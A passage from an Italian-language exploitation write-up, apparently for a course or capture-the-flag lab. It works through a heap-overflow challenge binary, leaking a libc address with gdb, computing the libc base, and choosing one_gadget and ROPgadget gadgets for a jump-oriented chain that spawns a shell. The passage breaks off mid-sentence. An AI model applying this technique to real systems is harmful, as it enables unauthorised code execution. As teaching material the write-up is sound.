0x7ffc0afe0b50: 0x00000000      0x00000000      0xf0008efb      0xf3820aa3
0x7ffc0afe0b60: 0x004005d0      0x00000000      0x0afe0c00      0x00007ffc
0x7ffc0afe0b70: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0b80: 0xe6608efb      0x0c7a1f5f      0xedfa8efb      0xdbcac8f
0x7ffc0afe0b90: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0ba0: 0x00000000      0x00000000      0x004009d0      0x00000000
0x7ffc0afe0bb0: 0x0afe0c08      0x00007ffc      0x00000001      0x00000000
0x7ffc0afe0bc0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0afe0bd0: 0x004005d0      0x00000000      0x0afe0c00      0x00007ffc
(gdb)
```

Si può vedere utilizzando `info proc mappings` che questo è un indirizzo interno all'area di memoria allocata per la libc.

```
(gdb) info proc mappings
process 152
Mapped address spaces:
```

Start Addr	End Addr	Size	Offset	objfile
0x400000	0x401000	0x1000	0x0	/usr/src/app/heappy
0x600000	0x601000	0x1000	0x0	/usr/src/app/heappy
0x601000	0x602000	0x1000	0x1000	/usr/src/app/heappy
0xd2d000	0xd4e000	0x21000	0x0	[heap]
0x7f1f5313f000	0x7f1f532fd000	0x1be000	0x0	/lib/x86_64-linux-gnu/libc-2.19.so
0x7f1f532fd000	0x7f1f534fd000	0x200000	0x1be000	/lib/x86_64-linux-gnu/libc-2.19.so
0x7f1f534fd000	0x7f1f53501000	0x4000	0x1be000	/lib/x86_64-linux-gnu/libc-2.19.so
0x7f1f53501000	0x7f1f53503000	0x2000	0x1c2000	/lib/x86_64-linux-gnu/libc-2.19.so
0x7f1f53503000	0x7f1f53508000	0x5000	0x0	
0x7f1f53508000	0x7f1f5352b000	0x23000	0x0	/lib/x86_64-linux-gnu/ld-2.19.so
0x7f1f53723000	0x7f1f53726000	0x3000	0x0	
0x7f1f53728000	0x7f1f5372a000	0x2000	0x0	
0x7f1f5372a000	0x7f1f5372b000	0x1000	0x22000	/lib/x86_64-linux-gnu/ld-2.19.so
0x7f1f5372b000	0x7f1f5372c000	0x1000	0x23000	/lib/x86_64-linux-gnu/ld-2.19.so
0x7f1f5372c000	0x7f1f5372d000	0x1000	0x0	
0x7ffc0afe1000	0x7ffc0afe2000	0x21000	0x0	[stack]
0x7ffc0afe5000	0x7ffc0afe9000	0x4000	0x0	[vvar]
0x7ffc0afe9000	0x7ffc0afeb000	0x2000	0x0	[vdso]
0xfffffffff600000	0xfffffffff601000	0x1000	0x0	[vsyscall]

```
(gdb)
```

In particolare, se andiamo a vedere cosa c'è in memoria a questo indirizzo:

```
disas 0x7f1f53160f45
```

(gdb) disas 0x7f1f53160f45

Dump of assembler code for function __libc_start_main:

```
0x00007f1f53160e50 <+0>:    push    %r14
0x00007f1f53160e52 <+2>:    push    %r13
0x00007f1f53160e54 <+4>:    push    %r12
0x00007f1f53160e56 <+6>:    push    %rbp
0x00007f1f53160e57 <+7>:    mov     %rcx,%rbp
0x00007f1f53160e5a <+10>:   push    %rbx
0x00007f1f53160e5b <+11>:   sub     $0x90,%rsp
0x00007f1f53160e62 <+18>:   mov     0x3a00cf(%rip),%rax      # 0x7f1f53500f38
0x00007f1f53160e69 <+25>:   mov     %rdi,0x18(%rsp)
0x00007f1f53160e6e <+30>:   mov     %esi,0x14(%rsp)
0x00007f1f53160e72 <+34>:   mov     %rdx,0x8(%rsp)
0x00007f1f53160e77 <+39>:   test    %rax,%rax
0x00007f1f53160e7a <+42>:   je      0x7f1f53160f4c <__libc_start_main+252>
0x00007f1f53160e80 <+48>:   mov     (%rax),%eax
0x00007f1f53160e82 <+50>:   xor     %edx,%edx
0x00007f1f53160e84 <+52>:   test    %eax,%eax
0x00007f1f53160e86 <+54>:   sete    %dl
0x00007f1f53160e89 <+57>:   lea     0x3a01f0(%rip),%rax      # 0x7f1f53501080 <__libc_multiple_libcs>
0x00007f1f53160e90 <+64>:   test    %r9,%r9
0x00007f1f53160e93 <+67>:   mov     %edx,(%rax)
0x00007f1f53160e95 <+69>:   je      0x7f1f53160ea3 <__libc_start_main+83>
0x00007f1f53160e97 <+71>:   xor     %edx,%edx
0x00007f1f53160e99 <+73>:   xor     %esi,%esi
0x00007f1f53160e9b <+75>:   mov     %r9,%rdi
0x00007f1f53160e9e <+78>:   callq   0x7f1f5317b410 <__cxa_atexit>
0x00007f1f53160ea3 <+83>:   mov     0x39ffb6(%rip),%rdx      # 0x7f1f53500e60
0x00007f1f53160eaa <+90>:   mov     (%rdx),%eax
0x00007f1f53160eac <+92>:   and     $0x2,%eax
0x00007f1f53160eaf <+95>:   movslq  %eax,%rbx
0x00007f1f53160eb2 <+98>:   test    %rbx,%rbx
0x00007f1f53160eb5 <+101>:  jne      0x7f1f53160ff3 <__libc_start_main+419>
0x00007f1f53160ebb <+107>:  test    %rbp,%rbp
0x00007f1f53160ebe <+110>:  je       0x7f1f53160ed5 <__libc_start_main+133>
0x00007f1f53160ec0 <+112>:  mov     0x39ffe1(%rip),%rax      # 0x7f1f53500ea8
0x00007f1f53160ec7 <+119>:  mov     0x8(%rsp),%rsi
0x00007f1f53160ecc <+124>:  mov     0x14(%rsp),%edi
0x00007f1f53160ed0 <+128>:  mov     (%rax),%rdx
0x00007f1f53160ed3 <+131>:  callq   *%rbp
0x00007f1f53160ed5 <+133>:  mov     0x39ff84(%rip),%rax      # 0x7f1f53500e60
0x00007f1f53160edc <+140>:  mov     0x128(%rax),%ebp
0x00007f1f53160ee2 <+146>:  test    %ebp,%ebp
0x00007f1f53160ee4 <+148>:  jne      0x7f1f53160fb3 <__libc_start_main+355>
0x00007f1f53160eea <+154>:  test    %rbx,%rbx
0x00007f1f53160eed <+157>:  jne      0x7f1f53160f90 <__libc_start_main+320>
0x00007f1f53160ef3 <+163>:  lea     0x20(%rsp),%rdi
0x00007f1f53160ef8 <+168>:  callq   0x7f1f53175a90 <_setjmp>
0x00007f1f53160efd <+173>:  test    %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x00007f1f53160eff <+175>:  jne      0x7f1f53160f53 <__libc_start_main+259>
0x00007f1f53160f01 <+177>:  mov     %fs:0x300,%rax
0x00007f1f53160f0a <+186>:  mov     %rax,0x68(%rsp)
```



```

0x00007f1f53160f0f <+191>: mov    %fs:0x2f8,%rax
0x00007f1f53160f18 <+200>: mov    %rax,0x70(%rsp)
0x00007f1f53160f1d <+205>: lea    0x20(%rsp),%rax
0x00007f1f53160f22 <+210>: mov    %rax,%fs:0x300
0x00007f1f53160f2b <+219>: mov    0x39ff76(%rip),%rax      # 0x7f1f53500ea8
0x00007f1f53160f32 <+226>: mov    0x8(%rsp),%rsi
0x00007f1f53160f37 <+231>: mov    0x14(%rsp),%edi
0x00007f1f53160f3b <+235>: mov    (%rax),%rdx
0x00007f1f53160f3e <+238>: mov    0x18(%rsp),%rax
0x00007f1f53160f43 <+243>: callq  *%rax
0x00007f1f53160f45 <+245>: mov    %eax,%edi
0x00007f1f53160f47 <+247>: callq  0x7f1f5317b1e0 <__GI_exit>
0x00007f1f53160f4c <+252>: xor    %edx,%edx
0x00007f1f53160f4e <+254>: jmpq   0x7f1f53160e89 <__libc_start_main+57>
0x00007f1f53160f53 <+259>: mov    0x3a60f6(%rip),%rax      # 0x7f1f53507050 <__libc_pthread_functions+400>
>
0x00007f1f53160f5a <+266>: ror     $0x11,%rax
0x00007f1f53160f5e <+270>: xor     %fs:0x30,%rax
0x00007f1f53160f67 <+279>: callq  *%rax
0x00007f1f53160f69 <+281>: mov    0x3a60d0(%rip),%rax      # 0x7f1f53507040 <__libc_pthread_functions+384>
>
0x00007f1f53160f70 <+288>: ror     $0x11,%rax
0x00007f1f53160f74 <+292>: xor     %fs:0x30,%rax
0x00007f1f53160f7d <+301>: lock decl (%rax)
0x00007f1f53160f80 <+304>: sete    %dl
0x00007f1f53160f83 <+307>: xor     %eax,%eax
0x00007f1f53160f85 <+309>: test    %dl,%dl
0x00007f1f53160f87 <+311>: jne     0x7f1f53160f45 <__libc_start_main+245>
0x00007f1f53160f89 <+313>: xor     %edi,%edi
0x00007f1f53160f8b <+315>: callq   0x7f1f5322dbe0 <__exit_thread>
0x00007f1f53160f90 <+320>: mov     0x8(%rsp),%rax
0x00007f1f53160f95 <+325>: mov     0x39fec4(%rip),%rdx      # 0x7f1f53500e60
0x00007f1f53160f9c <+332>: lea     0x15de4c(%rip),%rdi      # 0x7f1f532bedef
0x00007f1f53160fa3 <+339>: mov     (%rax),%rsi
0x00007f1f53160fa6 <+342>: xor     %eax,%eax
0x00007f1f53160fa8 <+344>: callq   *0xd0(%rdx)
0x00007f1f53160fae <+350>: jmpq    0x7f1f53160ef3 <__libc_start_main+163>
0x00007f1f53160fb3 <+355>: mov     0x120(%rax),%r13
0x00007f1f53160fba <+362>: mov     0x39fe27(%rip),%rax      # 0x7f1f53500de8
0x00007f1f53160fc1 <+369>: xor     %r12d,%r12d
0x00007f1f53160fc4 <+372>: mov     (%rax),%r14
0x00007f1f53160fc7 <+375>: mov     0x18(%r13),%rax
0x00007f1f53160fcb <+379>: test    %rax,%rax
0x00007f1f53160fce <+382>: je      0x7f1f53160fe1 <__libc_start_main+401>
0x00007f1f53160fd0 <+384>: mov     %r12d,%edx
0x00007f1f53160fd3 <+387>: add     $0x47,%rdx
---Type <return> to continue, or q <return> to quit---
0x00007f1f53160fd7 <+391>: shl     $0x4,%rdx
0x00007f1f53160fdb <+395>: lea     (%r14,%rdx,1),%rdi
0x00007f1f53160fdf <+399>: callq   *%rax
0x00007f1f53160fe1 <+401>: add     $0x1,%r12d
0x00007f1f53160fe5 <+405>: mov     0x40(%r13),%r13
0x00007f1f53160fe9 <+409>: cmp     %r12d,%ebp
0x00007f1f53160fec <+412>: jne     0x7f1f53160fc7 <__libc_start_main+375>
0x00007f1f53160fee <+414>: jmpq    0x7f1f53160eea <__libc_start_main+154>
0x00007f1f53160ff3 <+419>: mov     0x8(%rsp),%rax
0x00007f1f53160ff8 <+424>: lea     0x15ddd6(%rip),%rdi      # 0x7f1f532bedd5
0x00007f1f53160fff <+431>: mov     (%rax),%rsi
0x00007f1f53161002 <+434>: xor     %eax,%eax
0x00007f1f53161004 <+436>: callq   *0xd0(%rdx)
0x00007f1f5316100a <+442>: jmpq    0x7f1f53160ebb <__libc_start_main+107>
End of assembler dump.
(gdb)

```

Ovvero questa è la funzione di libc chiamata `__libc_start_main` che è eseguita all'inizio del programma prima di chiamare il main.

In questo modo otteniamo un indirizzo presente all'interno della funzione `__libc_start_main`.

Ricordiamo che il nostro obiettivo è ottenere l'indirizzo base di libc.

Nota: Lo spazio di indirizzamento è random ma gli offset relativi si mantengono.

Sottraendo all'indirizzo di ritorno del main il valore 245 ottengo l'indirizzo iniziale della funzione `__libc_start_main`:

0x00007f1f53160e50

Il valore 245 è dato dal fatto che l'indirizzo di ritorno del main coincide con la seguente istruzione (<+245>):

```
0x00007f1f53160f0f <+191>: mov    %fs:0x2f8,%rax
0x00007f1f53160f18 <+200>: mov    %rax,0x70(%rsp)
0x00007f1f53160f1d <+205>: lea    0x20(%rsp),%rax
0x00007f1f53160f22 <+210>: mov    %rax,%fs:0x300
0x00007f1f53160f2b <+219>: mov    0x39ff76(%rip),%rax      # 0x7f1f53500ea8
0x00007f1f53160f32 <+226>: mov    0x8(%rsp),%rsi
0x00007f1f53160f37 <+231>: mov    0x14(%rsp),%edi
0x00007f1f53160f3b <+235>: mov    (%rax),%rdx
0x00007f1f53160f3e <+238>: mov    0x18(%rsp),%rax
0x00007f1f53160f43 <+243>: callq  *%rax
0x00007f1f53160f45 <+245>: mov    %eax,%edi
0x00007f1f53160f47 <+247>: callq  0x7f1f5317b1e0 <__GI_exit>
0x00007f1f53160f4c <+252>: xor    %edx,%edx
0x00007f1f53160f4e <+254>: jmpq   0x7f1f53160e89 <__libc_start_main+57>
0x00007f1f53160f53 <+259>: mov    0x3a60f6(%rip),%rax      # 0x7f1f53507050 <__libc_pthread_functions+400>
>
0x00007f1f53160f5a <+266>: ror    $0x11,%rax
0x00007f1f53160f5e <+270>: xor    %fs:0x30,%rax
0x00007f1f53160f67 <+279>: callq  *%rax
0x00007f1f53160f69 <+281>: mov    0x3a60d0(%rip),%rax      # 0x7f1f53507040 <__libc_pthread_functions+384>
>
0x00007f1f53160f70 <+288>: ror    $0x11,%rax
0x00007f1f53160f74 <+292>: xor    %fs:0x30,%rax
0x00007f1f53160f7d <+301>: lock decl (%rax)
0x00007f1f53160f80 <+304>: sete   %dl
0x00007f1f53160f83 <+307>: xor    %eax,%eax
0x00007f1f53160f85 <+309>: test   %dl,%dl
0x00007f1f53160f87 <+311>: jne    0x7f1f53160f45 <__libc_start_main+245>
0x00007f1f53160f89 <+313>: xor    %edi,%edi
0x00007f1f53160f8b <+315>: callq  0x7f1f5322dbe0 <__exit_thread>
0x00007f1f53160f90 <+320>: mov    0x8(%rsp),%rax
0x00007f1f53160f95 <+325>: mov    0x39fec4(%rip),%rdx      # 0x7f1f53500e60
0x00007f1f53160f9c <+332>: lea    0x15de4c(%rip),%rdi      # 0x7f1f532bedef
0x00007f1f53160fa3 <+339>: mov    (%rax),%rsi
0x00007f1f53160fa6 <+342>: xor    %eax,%eax
0x00007f1f53160fa8 <+344>: callq  *0xd0(%rdx)
0x00007f1f53160fae <+350>: jmpq   0x7f1f53160ef3 <__libc_start_main+163>
0x00007f1f53160fb3 <+355>: mov    0x120(%rax),%r13
0x00007f1f53160fba <+362>: mov    0x39fe27(%rip),%rax      # 0x7f1f53500de8
0x00007f1f53160fc1 <+369>: xor    %r12d,%r12d
0x00007f1f53160fc4 <+372>: mov    (%rax),%r14
0x00007f1f53160fc7 <+375>: mov    0x18(%r13),%rax
0x00007f1f53160fcb <+379>: test   %rax,%rax
0x00007f1f53160fce <+382>: je     0x7f1f53160fe1 <__libc_start_main+401>
0x00007f1f53160fd0 <+384>: mov    %r12d,%edx
0x00007f1f53160fd3 <+387>: add    $0x47,%rdx
---Type <return> to continue, or q <return> to quit---
0x00007f1f53160fd7 <+391>: shl    $0x4,%rdx
0x00007f1f53160fdb <+395>: lea    (%r14,%rdx,1),%rdi
0x00007f1f53160fdf <+399>: callq  *%rax
0x00007f1f53160fe1 <+401>: add    $0x1,%r12d
0x00007f1f53160fe5 <+405>: mov    0x40(%r13),%r13
0x00007f1f53160fe9 <+409>: cmp    %r12d,%ebp
0x00007f1f53160fec <+412>: jne    0x7f1f53160fc7 <__libc_start_main+375>
```

Ora dobbiamo ottenere l'offset della funzione __libc_start_main nella libreria libc.

Come fatto notare precedentemente l'offset è sempre costante, cambia invece l'indirizzo di base della libreria che dipende dall'esecuzione.

L'offset lo cerchiamo in libc-2.19.so

```
[# gdb libc-2.19.so
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from libc-2.19.so...(no debugging symbols found)...done.
(gdb) disas __libc_start_main
```

```
Dump of assembler code for function __libc_start_main:
0x0000000000021e50 <+0>:    push    %r14
0x0000000000021e52 <+2>:    push    %r13
0x0000000000021e54 <+4>:    push    %r12
0x0000000000021e56 <+6>:    push    %rbp
0x0000000000021e57 <+7>:    mov     %rcx,%rbp
0x0000000000021e5a <+10>:   push    %rbx
0x0000000000021e5b <+11>:   sub     $0x90,%rsp
0x0000000000021e62 <+18>:   mov     0x3a00cf(%rip),%rax      # 0x3c1f38
0x0000000000021e69 <+25>:   mov     %rdi,0x18(%rsp)
0x0000000000021e6e <+30>:   mov     %esi,0x14(%rsp)
0x0000000000021e72 <+34>:   mov     %rdx,0x8(%rsp)
0x0000000000021e77 <+39>:   test    %rax,%rax
0x0000000000021e7a <+42>:   je      0x21f4c <__libc_start_main+252>
0x0000000000021e80 <+48>:   mov     (%rax),%eax
0x0000000000021e82 <+50>:   xor     %edx,%edx
0x0000000000021e84 <+52>:   test    %eax,%eax
0x0000000000021e86 <+54>:   sete    %dl
0x0000000000021e89 <+57>:   lea     0x3a01f0(%rip),%rax      # 0x3c2080
0x0000000000021e90 <+64>:   test    %r9,%r9
0x0000000000021e93 <+67>:   mov     %edx,(%rax)
0x0000000000021e95 <+69>:   je      0x21ea3 <__libc_start_main+83>
0x0000000000021e97 <+71>:   xor     %edx,%edx
```

---Type <return> to continue, or q <return> to quit---

Quindi per ottenere l'indirizzo base della libreria libc, nell'esecuzione del nostro programma, sottraiamo l'offset appena trovato (0x0000000000021e50) all'indirizzo che abbiamo trovato precedentemente della funzione __libc_start_main.

Ottenuto l'indirizzo base di libc dobbiamo cercare una funzione a cui saltare in libc che ci permette di aprire una shell.

In realtà, non bisogna necessariamente saltare all'inizio di una funzione ma si può saltare in qualsiasi punto del programma.

Ciò che faremo è cercare uno o più gadget che ci permettano di aprire una shell.

6. Ricerca dei Gadget

Un gadget è una sequenza di istruzioni di lunghezza variabile che appartiene a porzioni di codici già esistenti nel programma esaminato, ovvero qualsiasi sequenza di byte nella sezione `.text` del programma può essere interpretata come un gadget, purché si ottengano istruzioni valide. Analogamente alle funzioni anche i gadget devono, in qualche modo, restituire il controllo al programma chiamante; quindi, si cercano sempre gadget che sono terminati da una istruzione di `return`, di `jump` o di `call` (sia le `jump` che le `call` sono tipicamente indirette per avere un comportamento simile ai gadget di `return`).

Per approfondire l'argomento lasciamo il seguente link: https://en.wikipedia.org/wiki/Return-oriented_programming

Tipicamente questo paradigma si riferisce ad attacchi che prevedono l'overflow sullo stack; invece, nel nostro caso, l'overflow è sull'heap e quindi non possiamo utilizzare il paradigma `return-oriented (ROP)`, ma siamo costretti ad utilizzare un paradigma `jump-oriented (JOP)`.

È una condizione di JOP e non di ROP perché, non avendo un puntatore che auto incrementa o decrementa come quello dello stack, non possiamo sfruttare i vantaggi portati dall'istruzione di `return` e, inoltre, dobbiamo cercare istruzioni di `jump` indiretto a registro (vedremo tra poco il motivo) che sono molto meno occorrenti di quelle di `return`.

Per semplificare l'exploit cerchiamo inizialmente un gadget che ci fornisce la shell direttamente, senza la necessità di essere concatenato con altri gadget. Gadget di questo tipo sono comunemente indicati come "one-gadget RCE".

Per cercare un gadget di questo tipo installiamo il tool `one_gadget`.

Il link al repository GitHub è il seguente: https://github.com/david942j/one_gadget

Tipicamente i gadget individuati da questo tool richiedono che il programma rispetti dei vincoli al momento di chiamata di un gadget; quindi, ciascun gadget presenta delle precondizioni da rispettare.

Avendo il tool disponibile cerchiamo un gadget nella libreria `libc` che esegua una shell.

Mandiamo il comando seguente:

```
one_gadget libc-2.19.so
```

Ottenendo il seguente output.

```
[(venv) michelemaresca@MBP-di-Michele NS % one_gadget libc-2.19.so ]
0x46428 execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL

0x4647c execve("/bin/sh", rsp+0x30, environ)
constraints:
    [rsp+0x30] == NULL

0xe9415 execve("/bin/sh", rsp+0x50, environ)
constraints:
    [rsp+0x50] == NULL

0xea36d execve("/bin/sh", rsp+0x70, environ)
constraints:
    [rsp+0x70] == NULL
```

Analizzando lo stato del programma al momento della chiamata del gadget (subito dopo l'istruzione call sulla quale abbiamo messo il breakpoint precedentemente, 0x400921), è possibile vedere che nessun constraint è rispettato.

Quindi è necessario passare per un gadget intermedio che prima effettua un'operazione tale da rispettare il vincolo del gadget scelto, e successivamente ci restituisce il controllo permettendoci di saltare al nostro one-gadget.

In che modo ci restituisce il controllo?

I registri rdi e rdx contengono dei puntatori al buffer presente sull'heap che è sotto il nostro controllo.

Quindi un gadget, per restituirci il controllo, deve effettuare un salto indiretto o indiretto con spiazzamento ad uno di questi due registri.

Per la ricerca del gadget intermedio usiamo un secondo tool, chiamato ROPgadget, che ci permette di trovare sequenze di istruzioni terminate con istruzioni di return o di salto.

Il link a ROPgadget è il seguente: <https://github.com/JonathanSalwan/ROPgadget>

ROPgadget è installato di default con pwntools.

Proviamo a cercare un gadget intermedio che ci permetta di rispettare il vincolo del primo one-gadget. La prima ricerca che viene in mente è la seguente:

```
ROPgadget --binary libc-2.19.so | grep "xor rax, rax" | grep "jmp qword ptr [[]rd"
```

Questa ricerca non restituisce alcun risultato e anche altre ricerche simili non hanno portato risultati; quindi, non siamo riusciti a rispettare il vincolo del primo one-gadget.

Procediamo con il secondo one-gadget:

```
[(venv) michelemaresca@MBP-di-Michele NS % one_gadget libc-2.19.so ]
```

```
0x46428 execve("/bin/sh", rsp+0x30, environ)
```

```
constraints:
```

```
rax == NULL
```

```
0x4647c execve("/bin/sh", rsp+0x30, environ)
```

```
constraints:
```

```
[rsp+0x30] == NULL
```

```
0xe9415 execve("/bin/sh", rsp+0x50, environ)
```

```
constraints:
```

```
[rsp+0x50] == NULL
```

```
0xea36d execve("/bin/sh", rsp+0x70, environ)
```

```
constraints:
```

```
[rsp+0x70] == NULL
```

Il quale ci permette di eseguire una shell solo nel caso in cui si soddisfa il vincolo:

```
[rsp+0x30] == NULL
```

Dove rsp è il puntatore allo stack, per cui va posto in qualche modo a zero il valore a cui si accede con spiazzamento 0x30 rispetto allo stack pointer.

Però, come detto precedentemente, anche in questo caso il vincolo non è soddisfatto, vediamo quindi perché, visualizzando la posizione dello stack \$rsp+0x30 che secondo il vincolo deve essere nulla.

```

(gdb) x/20xw $rsp+0x30
0x7ffc0afe0b20: 0x00000000    0x00000000    0x53160f45    0x00007f1f
0x7ffc0afe0b30: 0x00000000    0x00000000    0x0afe0c08    0x00007ffc
0x7ffc0afe0b40: 0x00000000    0x00000001    0x004008c5    0x00000000
0x7ffc0afe0b50: 0x00000000    0x00000000    0xf0008efb    0xf3820aa3
0x7ffc0afe0b60: 0x004005d0    0x00000000    0x0afe0c00    0x00007ffc

```

Si evince che nella posizione `$rsp+0x30` il valore è nullo, notiamo però che a run time prima di invocare il one-gadget eseguiremo una chiamata a funzione, con annessa push sullo stack, e quindi non sarà più soddisfatto il requisito di valore nullo in `[rsp+0x30]`.

Possiamo osservare lo stack per rendercene meglio conto.

```

(gdb) x/40xw $rsp
0x7ffc0afe0af0: 0x0afe0c08    0x00007ffc    0x00000000    0x00000001
0x7ffc0afe0b00: 0x004009d0    0x00000000    0x004005d0    0x00000001
0x7ffc0afe0b10: 0x00d2d0c0    0x00000000    0x00d2d030    0x00000000
0x7ffc0afe0b20: 0x00000000    0x00000000    0x53160f45    0x00007f1f
0x7ffc0afe0b30: 0x00000000    0x00000000    0x0afe0c08    0x00007ffc
0x7ffc0afe0b40: 0x00000000    0x00000001    0x004008c5    0x00000000
0x7ffc0afe0b50: 0x00000000    0x00000000    0xf0008efb    0xf3820aa3
0x7ffc0afe0b60: 0x004005d0    0x00000000    0x0afe0c00    0x00007ffc
0x7ffc0afe0b70: 0x00000000    0x00000000    0x00000000    0x00000000
0x7ffc0afe0b80: 0xe6608efb    0x0c7a1f5f    0xedfa8efb    0x0dbcac8f
(gdb)

```

A tal proposito dobbiamo cercare un ulteriore gadget che ci consenta di porre a zero il valore nello stack e poi saltare all'indirizzo del one-gadget che apre la shell.

Possiamo allora pensare di cercare un gadget che effettui una pop dallo stack, in modo da ripristinare il valore nullo in `[$rsp+0x30]` e successivamente salti al one-gadget.

Per la ricerca del secondo gadget usiamo ancora ROPgadget.

Usiamo il comando

```
ROPgadget --binary libc-2.19.so | grep "pop" | grep "jmp qword ptr [[]]rd"
```

In output risultano moltissimi gadget, tra questi scegliamo quello evidenziato:

```

(venv) michelemaresca@MacBook-Pro-di-Michele program % ROPgadget --binary libc-2.19.so | grep "pop" | grep "jmp qword ptr [[]]rd"
0x000000001b3366: add al, byte ptr [rax]; pop rax; mov dh, dh; jmp qword ptr [rdi]
0x000000001928b7: add al, ch; pop rsi; std; jmp qword ptr [rdx]
0x000000001928b8: add al, cl; pop rbp; cmc; jmp qword ptr [rdi + 1]
0x000000001928b9: add byte ptr [rax], al; or dword ptr [rax], r8d; add al, ch; pop rsi; std; jmp qword ptr [rdx]
0x000000001928ba: add byte ptr [rax], al; pop rax; pop rax; std; jmp qword ptr [rdi]
0x000000001928bb: add byte ptr [rcx + rcx], al; add al, ch; pop rsi; std; jmp qword ptr [rdx]
0x000000001928bc: cwde; pop rbx; cmc; jmp qword ptr [rdx]
0x000000001928bd: int1; pop rax; cmc; jmp qword ptr [rdx]
0x000000001928be: mov ebp, 0xd1cffe; xlatb; popfq; in eax, dx; jmp qword ptr [rdx]
0x000000001928bf: mov ebx, 0xd1cffe; pop rsi; scasd eax, dword ptr [rdi]; in eax, dx; jmp qword ptr [rdx]
0x000000001928c0: mov esp, 0xd1cffe; pop rax; sahf; in eax, dx; jmp qword ptr [rdx]
0x000000001928c1: or dword ptr [rax], eax; add al, ch; pop rsi; std; jmp qword ptr [rdx]
0x000000001928c2: or dword ptr [rax], r8d; add al, ch; pop rsi; std; jmp qword ptr [rdx]
0x000000001928c3: outsb dx, byte ptr [rsi]; popfq; in al, dx; jmp qword ptr [rdx]
0x000000001928c4: pop r11; cmc; jmp qword ptr [rdx]
0x000000001928c5: pop rax; cmc; jmp qword ptr [rdx]
0x000000001928c6: pop rax; mov dh, dh; jmp qword ptr [rdi]
0x000000001928c7: pop rax; pop rax; std; jmp qword ptr [rdi]
0x000000001928c8: pop rax; pushfq; hlt; jmp qword ptr [rdx - 0x64]
0x000000001928c9: pop rax; sahf; in eax, dx; jmp qword ptr [rdx]
0x000000001928ca: pop rax; std; jmp qword ptr [rdi]
0x000000001928cb: pop rax; xor al, 0xed; jmp qword ptr [rdx]
0x000000001928cc: pop rbp; cmc; jmp qword ptr [rdi + 1]
0x000000001928cd: pop rbp; mov esi, ecx; jmp qword ptr [rdx]
0x000000001928ce: pop rbx; cmc; jmp qword ptr [rdx]
0x000000001928cf: pop rbx; in al, dx; jmp qword ptr [rdx]
0x000000001928d0: pop rbx; out dx, eax; cmc; jmp qword ptr [rdx]
0x000000001928d1: pop rcx; cmc; jmp qword ptr [rdx]
0x000000001928d2: pop rcx; loopne 0x193d48; jmp qword ptr [rdx]
0x000000001928d3: pop rdi; jl 0x1b0fe4; jmp qword ptr [rdx]
0x000000001928d4: pop rdi; jns 0x1a47f8; jmp qword ptr [rdx]
0x000000001928d5: pop rdx; cmc; jmp qword ptr [rdx]
0x000000001928d6: pop rsi; scasd eax, dword ptr [rdi]; in eax, dx; jmp qword ptr [rdx]
0x000000001928d7: pop rsi; std; jmp qword ptr [rdx]
0x000000001928d8: pop rsp; jno 0x1b074c; jmp qword ptr [rdx]
0x000000001928d9: popfq; hlt; jmp qword ptr [rdi]
0x000000001928da: popfq; in al, dx; jmp qword ptr [rdx]
0x000000001928db: popfq; in eax, dx; jmp qword ptr [rdx]
0x000000001928dc: push rbp; pop rbx; cmc; jmp qword ptr [rdx]
0x000000001928dd: push rbx; pop rcx; cmc; jmp qword ptr [rdx]
0x000000001928de: pushfq; mov esp, 0xd1cffe; pop rax; sahf; in eax, dx; jmp qword ptr [rdx]
0x000000001928df: sbb al, 0xd; cwde; pop rbx; cmc; jmp qword ptr [rdx]
0x000000001928e0: sbb al, 0xd; int1; pop rax; cmc; jmp qword ptr [rdx]
0x000000001928e1: sbb al, 0xd; outsb dx, byte ptr [rsi]; popfq; in al, dx; jmp qword ptr [rdx]
0x000000001928e2: sbb al, 0xd; pop r11; cmc; jmp qword ptr [rdx]
0x000000001928e3: sbb al, 0xd; pop rax; sahf; in eax, dx; jmp qword ptr [rdx]
0x000000001928e4: sbb al, 0xd; pop rax; xor al, 0xed; jmp qword ptr [rdx]
0x000000001928e5: sbb al, 0xd; pop rbp; mov esi, ecx; jmp qword ptr [rdx]
0x000000001928e6: sbb al, 0xd; pop rbx; cmc; jmp qword ptr [rdx]
0x000000001928e7: sbb al, 0xd; pop rbx; in al, dx; jmp qword ptr [rdx]
0x000000001928e8: sbb al, 0xd; pop rbx; out dx, eax; cmc; jmp qword ptr [rdx]
0x000000001928e9: sbb al, 0xd; pop rcx; loopne 0x193d48; jmp qword ptr [rdx]
0x000000001928ea: sbb al, 0xd; pop rdi; jl 0x1b0fe4; jmp qword ptr [rdx]

```

Gadget: 0x0000000000198aec : pop rax ; xor al, 0xed ; jmp qword ptr [rdx]

Tale gadget effettua una pop dallo stack, un'operazione di xor che non altera lo stato dei registri di nostro interesse e salta al valore rappresentato dai primi otto byte del buffer che si ottiene de-referenziando rdx (ricordiamo che rdi è preposto alla memorizzazione dell'indirizzo del chunk name, perché il name è passato come primo parametro alla funzione di greeting, invece rdx è settato uguale ad rdi al momento di tale chiamata a funzione perché, se si guarda l'assembly del main, era stato usato come registro tampone per copiare l'indirizzo del chunk name dallo stack, cioè mediante indirizzamento indiretto con spiazzamento rispetto ad rbp, al registro rdi).

La pop dallo stack è il passaggio chiave in quanto, ricordando l'organizzazione dello stack, con una pop riusciamo a settare NULL il valore di [rsp+0x30].

Salviamo l'offset del gadget, in questo caso 0x0000000000198aec, in modo da poterlo puntare, noto l'indirizzo base di libc.

A questo punto non resta che costruire il payload d'attacco che sarà composto, all'inizio, dall'indirizzo del one-gadget trovato (che è dato da indirizzo base di libc + 0x4647c, poiché 0x4647c è l'offset del one-gadget rispetto a libc) poi avrà padding fino al chunk successivo e infine avrà l'indirizzo del secondo gadget trovato.

Dunque, viene eseguito prima il secondo gadget, che è composto dalle seguenti istruzioni:

```
